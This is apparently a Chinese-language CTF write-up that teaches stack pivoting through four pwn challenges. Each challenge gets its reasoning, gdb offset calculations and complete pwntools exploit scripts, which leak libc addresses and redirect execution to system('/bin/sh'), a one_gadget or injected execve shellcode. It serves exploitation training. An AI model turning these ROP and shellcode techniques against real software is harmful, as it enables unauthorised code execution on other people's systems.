栈迁移漏洞(Stack Overflow Vulnerability)通常是指由于栈缓冲区溢出导致的安全漏洞。这种漏洞允许攻击者覆盖栈上的控制数据,如返回地址、帧指针等,进而可能执行任意代码。
为什么要栈迁移?
我的理解是由于输入字节的限制,我们没有办法在覆盖返回地址后继续写入我们构造的后门代码让程序执行。那现在怎么办呢,幸好我们有leave ; ret这两个指令(leave指令相当于mov esp,ebp ; pop ebp这两条指令,而执行ret指令就是pop eip,eip是一个指令指针,装的是下一条指令的地址),执行两次leave ; ret指令可以控制程序的执行流到ebp指向内存单元,即我们构造的用于拿到shell的代码地址。
例题
ciscn_2019_es_2(栈上)
思路
先泄漏一个地址,由于printf遇见\x00截断,那么我们恰好填充0x28个字节,就会把ebp指向的地址泄漏出来。构造第一个payload = b'a'*0x20+b'b'*0x8。
payload = b'a'*0x20+b'b'*0x8 p.recvuntil(b'name?\n') p.send(payload)
p.recvuntil(b'bbbbbbbb') ebp = u32(p.recv(4)) print(hex(ebp))
|
这张图大概就是我们要布置的payload内容 
算出ebp中的内容(因为泄漏出来的地址并不是ebp的地址,而是ebp指向的地址,即ebp中的内容)距离参数s的偏移量,gdb调试。下断点,下在vul函数,一直n到read函数,输入aaaa正好4个字节,便于查看
0xffffd044指向0xffffd050,我们写入的aaaa被放到了0xffffd050这个地址上,而ebp中放的是0xffffd088这个地址,0xffffd088 - 0xffffd050 = 0x38,因此ebp距离我们写入到s的位置的偏移量为0x38。

程序中system函数的参数不是我们想要的,因此需要我们自己写入/bin/sh,那么问题又来了,我们怎么知道我们写入的/bin/sh被放到了哪个地址上?我们可以计算出这个地址到ebp的偏移量,然后就可以用我们泄漏出来的地址和偏移量去表示这个地址。那怎么计算偏移量呢?我们先构造一个payload = b'aaaa'+p32(system_plt)+p32(0)+p32(0)+b'/bin/sh',第二个p32(0)的位置应该是/bin/sh的地址,但是我们现在还不知道所以先随便用4个字节替代。
system_plt = elf.plt['system'] leave_ret_addr = 0x08048562 payload = (b'aaaa'+p32(system_plt)+p32(0)+p32(binsh_addr)+b'/bin/sh').ljust(0x28,b'\x00')
payload += p32(stack_addr)
payload += p32(leave_ret_addr) p.sendline(payload)
|
gdb调试,先两次finish跳出两个函数,现在我们来到vul函数中,一直n经过两个read函数,stack 20查看栈上的内容。这里的0xff911f80就是存放/bin/sh的起始地址,0xff911fa8就是ebp指向的地址,即我们泄漏出来的地址,计算偏移量为0xff911fa8 - 0xff911f80 = 0x28,我们用可以ebp - 0x28表示/bin/sh的地址。
exp
from pwn import *
p = remote("node5.buuoj.cn",27242)
elf = ELF('./es2') debug(p)
payload = b'a'*0x20+b'b'*0x8 p.recvuntil(b'name?\n') p.send(payload) p.recvuntil(b'bbbbbbbb') ebp = u32(p.recv(4))
binsh_addr = ebp-0x28 stack_addr = ebp-0x38 system_plt = elf.plt['system'] leave_ret_addr = 0x08048562 payload = (b'aaaa'+p32(system_plt)+p32(0)+p32(binsh_addr)+b'/bin/sh').ljust(0x28,b'\x00')
payload += p32(stack_addr)
payload += p32(leave_ret_addr) p.sendline(payload)
p.interactive()
|
拿到flag

[Black Watch 入群题]PWN(.bss段)
思路
程序中没有system函数和/bin/sh字符串,有write函数,需要我们字节泄漏libc地址。

看第二次read,可以读入0x20(32)个字节,覆盖buf需要0x18(24)个字节,覆盖ebp需要0x4(4)个字节,覆盖返回地址需要0x4(4)个字节,0x20(32)个字节刚好够用,只能栈迁移了。

现在大致思路就是第一次read把我们构造的泄漏libc代码写到.bss段,其中返回地址为main函数的地址也就是让我们程序再走一遍。第二次read覆盖ebp为.bss段的地址,覆盖返回地址为leave ; ret指令的地址。程序跑第二次的时候把我们构造的拿shell的代码写到.bss段,第二次read同上。
exp
from pwn import *
p = remote("node5.buuoj.cn",27419)
elf = ELF('./spwn') libc = ELF('./libc-2.23.so')
write_plt = elf.plt['write'] write_got = elf.got['write'] main_addr = elf.sym['main'] payload = b'aaaa'+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4) p.recvuntil(b'name?') p.sendline(payload) p.recvuntil(b'say?') s_addr = 0x0804A300 leave_ret_addr = 0x08048511 payload = b'a'*0x18+p32(s_addr)+p32(leave_ret_addr) p.send(payload)
write_addr=u32(p.recv(4))
base_addr = write_addr-libc.sym['write'] system_addr = base_addr+libc.sym['system'] binsh_addr = base_addr+next(libc.search(b'/bin/sh')) payload = b'aaaa'+p32(system_addr)+p32(0)+p32(binsh_addr) p.recvuntil(b'name?') p.sendline(payload) p.recvuntil(b'say?') payload = b'a'*0x18+p32(s_addr)+p32(leave_ret_addr) p.send(payload)
p.interactive()
|
拿到flag

gyctf_2020_borrowstack
思路
查看保护,只开了NX保护

分析函数,两次read第二次是写到.bss段。第一个read可以读入0x70(112)个字节,只能溢出16个字节,恰好可以覆盖返回地址。
int __cdecl main(int argc, const char **argv, const char **envp) { char buf[96];
setbuf(stdin, 0LL); setbuf(stdout, 0LL); puts(&s); read(0, buf, 0x70uLL); puts("Done!You can check and use your borrow stack now!"); read(0, &bank, 0x100uLL); return 0; }
|
先泄漏libc,我们要用到栈迁移。第一次read我们先填充0x60个字节的垃圾数据,然后ebp中写入.bss段的地址(因为我们会把泄漏libc的payload写到.bss段),然后覆盖返回地址为leave ; ret的地址。
这里有一点需要注意的就是,在写入泄漏地址的代码前要先用ret指令抬高栈帧(调用puts函数会开辟新的栈帧,会毁坏.bss段上面(低地址)的got表等数据)。
p.recvuntil(b'want') bss_addr = 0x601080 leave_ret = 0x400699 payload = b'a'*0x60+p64(bss_addr)+p64(leave_ret) p.send(payload) p.recvuntil(b'now!')
ret = 0x4004c9 payload = p64(ret)*20 payload += p64(0x400703)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(elf.sym['main']) p.send(payload) p.recvline() puts_addr = u64(p.recv(6).ljust(8,b'\x00')) print('puts_addr -->',hex(puts_addr))
|
然后我本来是想拿到system("/bin/sh")的地址后,再一次栈溢出,同上。但是一直打不通,后来看wp都是用one_gadget做的。

直接在第一次read时栈溢出,覆盖返回地址为one_gadget的地址即可。
base_addr = puts_addr-libc.sym['puts'] shell_addr = base_addr+0x4526a payload = b'a'*(0x60+8)+p64(shell_addr) p.send(payload) p.sendline(b'a')
|
因为我们覆盖的是main函数的返回地址,所以还需要再发送一些数据让执行流执行完第二个read函数,然后才能执行完mian函数,跳到我们覆盖的返回地址去执行后门函数。
exp
from pwn import *
p = remote('node5.buuoj.cn',27820)
elf = ELF('./gyctf') libc = ELF('./libc-2.23.so') context.arch ='amd64'
p.recvuntil(b'want') bss_addr = 0x601080 leave_ret = 0x400699 payload = b'a'*0x60+p64(bss_addr)+p64(leave_ret) p.send(payload) p.recvuntil(b'now!')
ret = 0x4004c9 payload = p64(ret)*20 payload += p64(0x400703)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(elf.sym['main']) p.send(payload) p.recvline() puts_addr = u64(p.recv(6).ljust(8,b'\x00')) print('puts_addr -->',hex(puts_addr))
base_addr = puts_addr-libc.sym['puts'] shell_addr = base_addr+0x4526a payload = b'a'*(0x60+8)+p64(shell_addr) p.send(payload) p.sendline(b'a')
p.interactive()
|
拿到flag

pwn1
学习与收获
通过本题的学习与收获有:
- 溢出一个字节也是溢出,如果只能覆盖
ebp的一个字节,此时我们要想到栈迁移。且当我们是在main函数里的再一个函数里的栈帧时,此时已经有2次leave ; ret,不需要再写进leave ; ret。
- 栈迁移中
ret的时候,我们ret的是装shellcode的的地址,而不是shellcode本身。
- 如果我们需要抬高栈帧,可以填充
ret指令的地址。
保护
源码分析
有栈溢出漏洞和格式化字符串漏洞


思路
没有开启NX堆栈不可执行保护,那我们就可以通过执行shellcode获得flag。先把shellcode布置到栈上,然后printf泄漏一个栈地址通过计算偏移得到shellcode的地址。
先泄漏一个栈地址
payload = b'%10$p' p.sendline(payload) p.recvuntil(b'following:') p.recv(2) stack = int(p.recv(14),16)
|
又因为有一个栈溢出漏洞,可以覆盖ebp的最后一个字节,我们可以覆盖为我们布置rop链的地址的最后一个字节,以进行我们的栈迁移。
f_stack = stack-0x120+0x70 print(hex(f_stack)) one_byte = f_stack&0xff print('one_byte ------>>',one_byte) ret = 0x0000000000401016 payload = p64(ret)*12 payload+= p64(f_stack-8)+shellcode
payload = (payload).ljust(0x100,b'\x00')+p8(one_byte-24)
|
exp
from tools import * p = process('./pwn1') debug(p,0x40140e,0x401327,0x4013ac) context.arch='amd64' elf = ELF('./pwn1')
shellcode = asm(''' mov rdi,0x68732f6e69622f push rdi push rsp pop rdi xor rsi,rsi xor rdx,rdx push 0x3b pop rax syscall ''') print(len(shellcode)) p.sendline(str(2)) payload = b'%10$p' p.sendline(payload) p.recvuntil(b'following:') p.recv(2) stack = int(p.recv(14),16) print(hex(stack)) f_stack = stack-0x120+0x70 print(hex(f_stack)) one_byte = f_stack&0xff print('one_byte ------>>',one_byte) p.sendline(str(1)) ret = 0x0000000000401016 payload = (p64(ret)*12+p64(f_stack+16-24)+shellcode).ljust(0x100,b'\x00')+p8(one_byte-0x18) p.sendline(payload)
p.interactive()
|